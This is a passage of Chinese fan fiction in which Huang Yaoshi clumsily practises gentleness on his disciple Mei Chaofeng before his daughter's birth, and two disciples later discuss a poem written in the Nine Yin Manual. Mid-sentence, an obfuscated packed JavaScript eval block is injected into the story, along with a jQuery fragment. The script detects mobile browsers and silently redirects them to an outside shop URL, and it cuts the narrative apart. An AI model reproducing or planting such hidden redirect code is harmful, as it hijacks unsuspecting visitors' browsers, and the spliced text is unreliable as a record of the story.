海棠未雨,梨花先雪,一半春休。岛上气候一日比一日暖和。
提着小竹篮正要去厨房的梅超风路经湖边竹楼时,看见正好从竹楼里出来的黄药师,立刻停下脚步,毕恭毕敬的问候:“师父。”
黄药师嗯了一声作为应答,忽而瞧了眼她手提着的小竹篮:“你这是……”
“前几日大雨,我见竹林底下长出了不少春笋,便挖了一些出来,想给师娘做春笋煲……”她抢先一步作回答,但随即却像是慌了神般瞬间提高音量,问道:“师父,我不懂食物属性,这新鲜竹笋,师娘现在能吃吗?”
“无妨。”
梅超风松了口气,表情轻松了不少,说道:“那便好,我这就去厨房处理这竹笋。”
“等等。”
就欲离去的梅超风忽闻黄药师喊住了自己,奇怪的问道:“师父,可还有什么吩咐?”
黄药师手掌握拳掩唇清咳了一声,表情还有些不自在:“倒也并非有事吩咐,只是这几个月因为你师娘的身孕,你也跟着颇为操劳费心……辛苦了。”
她笑着摇摇头:“没有,师父,能为您和师娘还有小师妹做些什么,我很开心。”
“你的确比那些男孩子更为贴心懂事,也无怪你师娘如此喜欢你。”
这还是师父第一次这么直白的夸自己,梅超风听的脸一红,低下头去,有些害羞起来,不过没等她组织语言谦逊回答他的称赞,头顶突然间传来温柔的抚摸。
她一愣。
“你来桃花岛拜入我门下已有数载,虽然我表扬你不多,其实你事事都令我很满意。”
“师父……”
“你与灵风玄风他们不同,是我门下唯一的女弟子,年纪又小,本该多照顾你些,过去是我这个做师父的疏忽了,往后……为师会待你更温和关心些。”
头顶上的抚摸还未放下,梅超风却觉得那是千斤巨鼎般教人难以承受,吓得她瞬间扑通跪倒在地,猛磕着头,颤抖着声线喊道:“师父,当年超风得您施救,又被带回桃花岛收留,这几年被您悉心教导学习武艺,您对超风恩同再造!永世感念!又怎敢奢求师父更多的关怀?”
隐隐已经有哭腔显现。
“你……唉,罢了罢了。”黄药师没想到这话对她造成的心理负担竟如此之大,完全与自己的意愿背道而驰了,颇有些尴尬,扶了她一把却见她更恐慌的不敢起来,便作罢,独自一人又返回了竹楼中。
直到听见了他的脚步声消失,梅超风才敢抬起头来,眼眶都红了,胳膊一紧,自己已被人拉起身。
“师哥……”她一脸哭容,“师父怎么了?刚刚我都快被吓死了。”
陈玄风路过恰好旁观了这诡异的一幕,事出反常,他亦不敢露面,也纳闷道:“往日师父对师娘以外的所有人都一视同仁的冷脸来着,今日怎会对师妹你如此温柔?难道是见你最近照顾师娘太辛苦了,单纯的慰问?”
甚至还说之后要对她更加关心一些?
梅超风欲哭无泪:“我情愿师父如从前一样冷声吩咐,或是干脆责骂我几句。”
对于他们而言,师父的温柔可比严厉更难承受。
正挺着个大肚子在客厅走来走去活动筋骨的冯蘅听见进门的脚步声,望去,恰好对上悻悻而回的黄药师的郁闷视线。
她一眼便看透,却还明知故问:“怎么,碰壁了?”
他快速上前来,一手托着她的后腰,一手搀扶在她的手臂,陪着她一去绕着圈慢慢踱步,总之没闲着,但就是不想回答。
“怎么样了嘛?”
她不依不挠的问,他招架不住,只好把刚刚一幕简单言语告知。
往日高冷的师父,难得改变自己,想着温柔一回,却令女弟子无福消受,甚至是惊吓过度。
“哈哈哈——”果不其然惹来她放肆的嘲笑。
黄药师一把捏住她的小脸,不让她再这般肆无忌惮的笑,严声厉语道:“切忌情绪激动,大笑也不可。”
说着,忙扶着她坐在就近的椅子上,紧张兮兮的安抚着她的孕肚。
自从那一日她莫名的痛哭落泪引发一整晚的腹痛难眠后,黄药师就禁止她再这般情绪激动了,哭不准,笑亦然,时刻注意她保持一个平心静气的情绪状态。
见她双眸亮晶晶的,抿着唇仍憋不住想笑的模样,他再警告道:“你不听话,我可要给你念《清心咒》了。”
“好啦好啦,我认错,你可别念经!”
认错速度一流,冯蘅说到做到,果然安分了下来,黄药师蹲下了身子,自然的给她揉捏着双腿疏通经络解乏。瞧着他这副沉闷的模样,她知道他已经尽力了,自己好像也的确不该幸灾乐祸来着。
没有人天生就是父母,一切都要学习。但因为冯蘅的天性亲切,平易近人,一眼可知会成为好母亲,但黄药师就……需得后天加倍努力。
如何成为一个父亲是庞大的命题,如何成为一个女儿的好父亲则是一个更为复杂的难题。
自从知道孩子的性别后,冯蘅便让他提前学习如何养女儿,尤其是如何和女儿相处。这本不该成为问题,但因为岛上弟子个个尊敬和惧怕于他,年纪小的也一样,他若习惯如此疏离的人际距离可不利于将来面对女儿。她还因此笑他如果不改变性格的话,以后女儿说不定也会跟着敬畏自己的父亲,而和师哥师姐们更为亲近。
黄药师当然不允许女儿不跟自己亲这种事发生,所以他也在努力求变。恰好岛上就有位年纪轻的小女孩,顺理成章成为实验对象,借此学会如何“柔软待人”,起码让对方不再惧怕自己。
可结果……自然是失败了。
他停下了动作,长长叹了口气:“很难。”
冯蘅无声勾起浅浅笑意。
“我会像待阿蘅一般待女儿的。”黄药师下定决心承诺道。这已经是他理解中自己所能给予的最极致的温柔了。
她伸出手捧着他的脸,失笑道:“妻子和女儿怎么会一样呢?”
他沉默深思了片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173629|150537||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刻,随后偏头在她的掌心轻啄了一下:“的确不一样。”
妻子是妻子,女儿是女儿,即使再爱,也不该是等量齐观的,作为丈夫和父亲,他实在还有太多东西需要学习。
“我会爱女儿,但与爱阿蘅截然不同。”
知道他只是在陈述所想,可她仍是面上一红。
闲情与春长,斜风度浓香。桃花岛四处种植的花尽数开放,阵阵不同香气交织于一起的馥郁芳香借风之力遍及每个角落。
小岛上的四季分明无一刻不好,此时此刻正当下最是静好。应是陶然无喜亦无忧,人生且自由。
从书房出来的梅超风嘴里正嘀咕着什么,抬眸恰巧看见握着剑柄从试剑亭练功回来的陈玄风,出声喊住了他:“师哥!你知道大师哥现在何处吗?”
“你找他有事?”
“是啊,我刚刚看到了一句诗,是师娘没有讲过的,我有些好奇,所以想找大师哥问问是什么意思。”
“你什么时候也喜欢上了这文绉绉的东西?还跑来书房找书读?”两人走近,他嗤笑道,“我以为你和我一样都是应付师娘才学一点的呢。”
“不是呀,”梅超风一五一十的老实回答,“师父每日忙着照顾师娘,没空来书房,我今日得空便来帮忙整理一下书桌,就看到了《九阴真经》上的这一句……”
陈玄风打断她,大声喊道:“好呀,师妹,你偷看《九阴真经》!”
“我没有,”她立刻摇头否认,忙紧张解释道,“师父明令禁止我们翻看《九阴真经》,我又怎么会干这种惹他生气的事呢?是风吹开的!在我整理书桌的时候,窗户的风恰好吹开了封面,我就不小心看到了第一页,没有内容,只有一句诗,而且我很快就合上书了,经书后面的内容我一个字都没看到,我保证!”
“我知道,只是逗逗你而已。”他还能不知道她温吞乖巧的性格吗?决计不敢干这么大胆的事情,见她抚着胸口松了口气,他笑嘻嘻问道:“是什么诗呀?不如先问问我?”
“师哥,你不擅长此类,我去问问大师哥或者乘风师弟就好,他们读的书比较多。”
陈玄风怒而拍了一下她的脑袋:“你这是拐弯抹角骂我胸无点墨是吧?”
梅超风捂着并不疼的脑袋,笑道:“师娘说过我们每个人都各有所长,不必追求样样厉害,师哥在别的地方必定有我们所不能及之处。只是见师父在经书空白页处写下这一句诗,应该是有什么特别含义吧?我实在有些好奇,就想弄懂它。师娘也教过我们,不懂就问才能进步嘛。”
“不行,你先告诉我,我来为你解答一番。”
梅超风见他一副不肯罢休的模样,无奈了:“好吧,师哥,你若听完不知出处不知含义,便告诉我大师哥在哪里好吗?如果大师哥也不知道,我可能就要直接去问师娘了。”
“嗯嗯嗯,快说快说。”
“师父写的那句诗是:恁时相见早留心,何况到如今……如何,师哥,你知道是什么意思吗?”